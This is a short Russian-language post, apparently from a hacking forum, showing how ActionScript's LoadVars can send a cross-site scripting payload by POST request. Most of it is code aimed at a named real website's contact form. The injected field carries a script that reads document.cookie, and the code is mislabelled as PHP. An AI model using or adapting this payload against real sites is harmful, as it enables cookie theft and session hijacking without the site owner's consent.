Так же на actionscript можно проводить xss через post запросы.
Пример: XSS на jino-net.ru
PHP код:
var req:LoadVars=new LoadVars();
req.decode("subject=spam&name=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=&message=");
req.send("http://www.jino-net.ru/contacts.phtml?subj=spam","POST");